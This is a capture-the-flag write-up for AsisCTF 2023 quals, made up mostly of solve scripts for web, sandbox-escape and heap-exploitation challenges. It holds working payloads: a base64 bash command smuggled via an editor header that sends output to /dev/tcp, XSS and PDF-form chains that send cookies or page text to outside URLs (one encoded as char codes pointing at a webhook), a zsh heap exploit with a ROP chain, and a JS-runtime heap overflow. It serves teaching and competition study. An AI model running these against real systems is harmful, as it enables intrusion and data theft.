# AsisCTF 2023 quals
## hello
```php
<?php
/*
Flag is at /flag.txt
Hint for beginners: read curl's manpage.
*/
highlight_file(__FILE__);
$url = 'file:///hi.txt';
if(
array_key_exists('x', $_GET) &&
!str_contains(strtolower($_GET['x']),'file') &&
!str_contains(strtolower($_GET['x']),'flag')
){
$url = $_GET['x'];
}
system('curl '.escapeshellarg($url));
```
If you look at curl's manpage, you can see that curl supports "globbing". This means that you can specifiy a range of chars and curl will fetch the url by trying each of those chars.
`http://45.147.231.180:8000/?x=fil[a-z:1]:///[a-z]ext.txt`
next.js gives you the following URL:
`http://45.147.231.180:8001/39c8e9953fe8ea40ff1c59876e0e2f28/`
```
did you know i can read files?? amazing right,,, maybe try /39c8e9953fe8ea40ff1c59876e0e2f28/read/?file=/proc/self/cmdline
```
Then if you fetch `http://45.147.231.180:8001/39c8e9953fe8ea40ff1c59876e0e2f28/read/?file=/proc/self/cmdline` it gives you the path of the JS file and also you will see that it runs on bun.
```javascript
const fs = require('node:fs');
const path = require('path')
/*
I wonder what is inside /next.txt
*/
const secret = '39c8e9953fe8ea40ff1c59876e0e2f28'
const server = Bun.serve({
port: 8000,
fetch(req) {
let url = new URL(req.url);
let pname = url.pathname;
if(pname.startsWith(`/${secret}`)){
if(pname.startsWith(`/${secret}/read`)){
try{
let fpath = url.searchParams.get('file');
if(path.basename(fpath).indexOf('next') == -1){
return new Response(fs.readFileSync(fpath).toString('base64'));
} else {
return new Response('no way');
}
} catch(e){ }
return new Response("Couldn't read your file :(");
}
return new Response(`did you know i can read files?? amazing right,,, maybe try /${secret}/read/?file=/proc/self/cmdline`);
}
return
}
});
```
By trying bunch of payloads, you might find-out that `path.basename(fpath).indexOf('next') == -1` can be bypassed with `/next.js%00/anything`.
It's bypassed because `fs.readFileSync` doesn't check for null bytes in the string and pass it directly to open syscall but path.basename is a normal javascript function so it just does `path.slice(lastIndexOfSlash+1)`.
## hello-again
Read bun's source code challenge.
`%PUBLIC_URL%` is skipped in router's urldecoder and you can use `/index` to bypass the second check. then you can use open-in-editor feature of bun to execute debconf with your payload ( first arg goes into shell ).
```python3
#!/usr/bin/env python3
import base64
from pwn import remote
p = remote('45.147.230.214',37555)
p.send(b"""GET /cgi-bin/%PUBLIC_URL%/%70rivate-symlink/index?target=/bin/debconf&path=/tmp/subl HTTP/1.1
Host: dfdf
""".replace(b'\n',b'\r\n'))
print(p.recv())
p.close()
p = remote('45.147.230.214',37555)
a = '/readflag gimmeflag > /dev/tcp/0.0.0.0/9000'
p.send(b"""GET /src:/lmao;echo${IFS}"""+base64.b64encode(a.encode())+b"""|base64${IFS}-d|bash HTTP/1.1
open-in-editor: 1
Host: dfdf
""".replace(b'\n',b'\r\n'))
# p.interactive()
print(p.recv())
p.close()
```
## makes-sense
frames inside shadow-dom are not added to window.frames (therefor they don't increase window.length).
```htmlembedded
<div id="atk"></div>
<script>
const target = 'http://web'
const s = atk.attachShadow({ mode: "closed" });
let f = document.createElement('div')
f.innerHTML = `<iframe src="${target}" name=wow onload="ld(event)" ></iframe>`
s.appendChild(f)
function ld(e){
e.target.contentWindow.postMessage(`
let x = window.open('/')
setTimeout(()=>{
fetch("https://xxx?a="+x.document.cookie)
},1000)
`,'*')
}
</script>
```
## poster
Find a way to send a no-cors POST request ( containg None cookies ) that doesn't have a content-type header or its content-type doesn't have `plain,form,csp`.
The intended solution uses PDF forms ( they send None cookies and don't set content-type ).
More info about this [here](https://portswigger.net/research/portable-data-exfiltration).
```javascript
#!/usr/bin/env node
const express = require('express')
const fs = require('fs')
const f = fs.readFileSync('./out.pdf')
const app = express()
app.use(express.static('./static'))
app.get('/log',(req,res)=>{
res.send('')
console.log(req.query.log)
})
app.get('/sleep',(req,res)=>{
setTimeout(()=>res.send(''),+req.query.t)
})
app.get('/genpdf',(req,res)=>{
let ee = f.indexOf('target')
let t = (Buffer.concat([
f.slice(0,ee),
Buffer.from(req.query.origin),
f.slice(ee+6),
]))
// fs.writeFileSync('./out2.pdf',t)
res.type('application/pdf').send(t)
})
app.listen(9005)
```
```html
<!-- static/index.html -->
<body>
<script>
const target = 'http://localhost:8000'
// const target = 'http://vm:8000'
window.localStorage.target = target
fetch('/log?log=step0')
window.open('/step1.html')
</script>
<!-- static/step1.html -->
<body>
<iframe id="f" name=document height=900px width=500px>
</iframe>
<button style="
position: absolute;
left: 122px;
top: 616px;
z-index: -1000;
">sdfsdf</button>
<script>
const target = window.localStorage.target
f.src = target
fetch('/log?log=step1')
onmessage = e=>{
opener.open('/step2.html#'+e.data.token)
opener.document.location = target
}
setTimeout(()=>{
document.getElementsByTagName('button')[0].id = 'btn'
},1000)
</script>
<!-- static/step2.html -->
<body>
<iframe id="f" height=1000px width=1000px>
</iframe>
<div style="
position: absolute;
left: 420px;
top: 420px;
z-index: -1000;
height: 2px;
width: 2px;
">sdfsdf</div>
<script>
const target = window.localStorage.target
fetch('/log?log=step3')
let t = document.location.hash.slice(1)
let p = `csrf_token=${t}&secret=<img src=1 onerror='${encodeURIComponent('eval(window.name)')}' >`
f.src = `/genpdf?origin=${target}/secret&${p}&`
setTimeout(()=>{
document.getElementsByTagName('div')[0].id = 'btn'
},3000)
setTimeout(()=>{
window.name = `
fetch('https://xxx',{
method:'POST',body:opener.document.body.innerText
})
`
document.location = target
},4000)
</script>
```
## yet another calc
I forgot to add to description that this is based on Angstrom 2021 - Cassio chall.
The main part of chall is finding this:
```javascript
c=Math.constructor
c=c.constructor
Math.__defineGetter__(Math.aa,c)
Math.__defineGetter__(c.name,Math.__lookupGetter__)
Math.Function()
```
```javascript
c=Math.constructor
c=c.name
c=c.constructor
c=c.fromCharCode
Math.__defineGetter__(Math.aa,c)
Math.__defineGetter__(c.name,Math.__lookupGetter__)
v = Math.fromCharCode(102,101,116,99,104,40,96,104,116,116,112,115,58,47,47,119,101,98,104,111,111,107,46,115,105,116,101,47,102,48,51,56,100,100,56,48,45,100,100,54,50,45,52,53,97,52,45,56,57,50,56,45,54,57,54,97,49,52,48,102,56,98,49,50,63,97,61,96,43,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,41)
c=Math.constructor
c=c.constructor
Math.__defineGetter__(Math.aa,c)
Math.__defineGetter__(c.name,Math.__lookupGetter__)
z=Math.Function(v)
Math.__defineGetter__(c.name,z)
Math.Function
```
## zpwn
exploiting a bug in the lastest version of zsh. There is also a helper (`note.so`) module to help you exploit this.
here `zfsessions` should also be nulled.
https://github.com/zsh-users/zsh/blob/9eb2b047035273891c66f6d0fc23edb22d6bfad5/Src/Modules/zftp.c#L3149
```python
#!/usr/bin/env python3
from pwn import *
p = remote('172.86.97.8',13337)
# a = open('./solve.sh','rb').read()
p.sendline(b"""
exec 2>&1
zmodload zsh/note
zmodload zsh/zftp
module_path=/usr/local/lib/zsh/5.9/zsh/
zmodload zftp
AAAAA1=AAAAAA
AAAAA2=AAAAAA
AAAAA2=VVVVVVVV
AAAAA1=VVVVVVV
zmodload -u zsh/zftp
""".strip())
def addnote(c,sz=False):
p.sendline(b'note-add')
if(sz == False):
sz = len(c)
p.recvuntil(b':')
p.sendline(str(sz).encode())
p.recvuntil(b':')
p.send(c)
p.recvuntil(b':')
def addnoten(c,sz=False):
p.sendline(b'note-add AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA')
if(sz == False):
sz = len(c)
p.recvuntil(b':')
p.sendline(str(sz).encode())
p.recvuntil(b':')
p.send(c)
p.recvuntil(b':')
addnote(b'AAA')
addnote(b'\x00'*0x10)
p.sendline(b'zmodload -u zftp')
p.sendline(b'note-view AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA')
p.recvuntil(b':')
p.sendline(b'1')
p.recvuntil(b': \n')
heapbase = 0x240
heapleak = int.from_bytes(p.recvline()[:-1],'little')
v = ((heapleak&0xfff)^0x240)
z = (((heapleak>>12)&0xfff))
qq = (z)^(v)
zz = (((heapleak>>24)&0xfff))^qq
heapbase += v<<12
heapbase += qq<<24
heapbase += zz<<36
p.sendline(b'FUCKFUCKFUCKFUCKFUCKFUCKFUCKFUCKFUCKFUCKFUCKFUCK=EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE')
p.sendline(b'note-edit AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA')
p.recvuntil(b':')
p.sendline(b'1')
p.recvuntil(b':')
p.send(p64(((heapbase+0x1b0)>>12)^(heapbase+0x240)))
addnoten(b'LMAO')
addnoten(p64(0)+p64(heapbase+0x240-0x10)[:-1])
p.sendline(b'FUCKFUCKFUCKFUCKFUCKFUCKFUCKFUCKFUCKFUCKFUCKFUCK=AAAAAAAAAAAAAFFFFFFFFFFFFFFFFFFFFFF')
addnoten(b'A'*10,0x50)
v = p64(0)+p64(heapbase+0x240-0x10-0x8)+p64(0)+p64(heapbase-0x28c0)
v = v[:-1]
addnoten(v,0x48)
p.recvline()
p.sendline(b'echo $a'+b' '*100)
noteleak = int.from_bytes(p.recvline()[:-1],'little') - 0x3ed0
p.sendline(b'FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF=QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ')
p.sendline(b'note-edit AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA')
p.recvuntil(b':')
p.sendline(b'5')
p.recvuntil(b':')
v = p64(0)+p64(heapbase+0x240-0x10-0x8)+p64(0)+p64(heapbase+0x230)
v = v[:-1]
p.send(v)
p.sendline(b'DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa')
p.sendline(b'DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa')
p.sendline(b'a=dsffdsffdsffdsffdsffdsffdsffdsffdsffdsffdsffdsffdsffdsffdsffdsffdsffdsffdsffdsffdsffdsffdsffdsffdsffdsffdsffdsffdsffdsffdsffdsffdsffdsffdsffdsffdsffdsffdsffdsff'+b' '*100)
p.sendline(b'note-edit AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA')
p.recvuntil(b':')
p.sendline(b'5')
p.recvuntil(b':')
p.sendline(p64(((heapbase+0x230)>>12)^(noteleak+0x41a0)))
addnoten(b'A',0x50)
addnoten(p32(0xff)*16+p64(noteleak+0x4038),0x50)
p.sendline(b'note-view AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA')
p.recvuntil(b':')
p.sendline(b'4')
p.recvline()
p.recvline()
libcbase = int.from_bytes(p.recvline()[:-1],'little') - 0x7f1b0
env = libcbase+0x21aa20
p.sendline(b'note-edit AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA')
p.recvuntil(b':')
p.sendline(b'7')
p.recvuntil(b':')
p.sendline(p32(0xff)*16+p64(env))
p.sendline(b'note-view AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA')
p.recvuntil(b':')
p.sendline(b'4')
p.recvline()
p.recvline()
stackleak = int.from_bytes(p.recvline()[:-1],'little')
p.sendline(b'note-edit AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA')
p.recvuntil(b':')
p.sendline(b'7')
p.recvuntil(b':')
p.sendline(p32(0xff)*16+p64(noteleak+0x49e0))
p.sendline(b'note-edit AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA')
p.recvuntil(b':')
p.sendline(b'4')
p.recvuntil(b':')
p.send(p32(0x300)*5)
p.sendline(b'note-edit AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA')
p.recvuntil(b':')
p.sendline(b'7')
p.recvuntil(b':')
p.sendline(p32(0xff)*16+p64(stackleak-0x1b60))
print(hex(libcbase+0x0000000000091396))
z = (noteleak)
z &= ~(z&0xfff)
print(hex(stackleak))
p.sendline(b'note-edit AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA')
p.recvuntil(b':')
p.sendline(b'4')
p.recvuntil(b':')
q = b''
q+= p64(libcbase+0x000000000002a3e5)
q+= p64(libcbase+0x16c49)
q+= p64(libcbase+0x11b9f0)
q+= p64(libcbase+0x000000000002a3e5)
q+= p64(libcbase+0x1da071)
q+= p64(libcbase+0x115320)
q+= p64(libcbase+0x000000000002a3e5)
q+= p64(libcbase+0x1da071)
q+= p64(libcbase+0x115320)
q+= p64(libcbase+0x000000000002a3e5)
q+= p64(libcbase+0x1da071)
q+= p64(libcbase+0x115320)
q+= p64(libcbase+0x000000000002a3e5)
q+= p64(libcbase+0x1da071)
q+= p64(libcbase+0x115320)
q+= p64(libcbase+0x000000000002a3e5)
q+= p64(libcbase+0x1da071)
q+= p64(libcbase+0x115320)
q+= p64(libcbase+0x000000000002a3e5)
q+= p64(libcbase+0x1da071+1)
q+= p64(libcbase+0x11b9f0)
q+= p64(libcbase+0x000000000002a3e5)
q+= p64(libcbase+0x1d8698)
q+= p64(libcbase+0x000000000002be51)
q+= p64(0)
q+= p64(libcbase+0x000000000011f497)
q+= p64(0)
q+= p64(0)
q+= p64(libcbase+0x0000000000045eb0)
q+= p64(59)
q+= p64(libcbase+0x0000000000091396)
q+= p64(0xdeedbeef)*20
p.send(q)
p.interactive()
```
## night.js
```javascript!
toflow = new ArrayBuffer(0x10010)
toflowarr = new Uint32Array(toflow)
toflowarr[16388-2] = 0x14021
for(let i=0;i<0;i<0x100){
(new ArrayBuffer(i)).transfer(i)
(new ArrayBuffer(i)).transfer(i)
(new ArrayBuffer(i)).transfer(i)
(new ArrayBuffer(i)).transfer(i)
}
gc()
new ArrayBuffer(0x300)
new ArrayBuffer(0x300)
new ArrayBuffer(0x300)
new ArrayBuffer(0x300)
a = new ArrayBuffer(0x10008)
b = new ArrayBuffer(0x10008)
c = new ArrayBuffer(0x4008)
d = new ArrayBuffer(0x10008)
// free middle buffer
b.transfer(0x10008)
toflow.transfer(0x10008)
// overflow next chunk ( only allocate 368 but toflow is 370)
c.transfer(0x4008)
let z = []
for(let i=0;i<9000;i++){
z.push(new ArrayBuffer(0x50))
}
uarr = new Uint32Array(d)
uarr[0] = 0xdeedbeef
let idx = false
let skipped = false
for(let i=0;i<300;i++){
if((uarr[i]&0xfff) == 0xda8){
if(skipped == false){
skipped = true
continue
}
idx = i;
break;
}
}
uarr[idx+24] = 0xf0
let victim
for(let i=512;i!=0;i--){
if(z[i].byteLength == 0xf0){
victim = z[i]
break;
}
}
function convToHex(v){
return '0x'+v[1].toString(16)+v[0].toString(16)
}
victim = new Uint32Array(victim)
let libleak = [uarr[idx],uarr[idx+1]]
console.log('libleakkey:',convToHex(libleak))
uarr[idx+24-8] = libleak[0] + 0x1b298
uarr[idx+24-8+1] = libleak[1]
let libcpp = [victim[0],victim[1]]
console.log('libcpp:',convToHex(libcpp))
uarr[idx+24-8] = libcpp[0] + 0x1ae0e0
uarr[idx+24-8+1] = libcpp[1]
let libcbase = [victim[0] - 0xa80b0,victim[1]]
console.log('libcbase:',convToHex(libcbase))
uarr[idx+24-8] = libleak[0]
uarr[idx+24-8+1] = libleak[1]
let libjs = [victim[0],victim[1]]
console.log('libjs:',convToHex(libjs))
uarr[idx+24-8] = libjs[0] + 0x3205f0
uarr[idx+24-8+1] = libjs[1]
z = new ArrayBuffer(0x40)
v = new Uint8Array(z)
v[0] = 115
v[1] = 104
v[2] = 104
let cmd = '/readflag; sleep 5; '
for(let i=0;i<cmd.length;i++) v[i] = cmd.charCodeAt(i);
victim[0] = libcbase[0] + 0x55230
z.transfer(0x40)
-- EOF --
```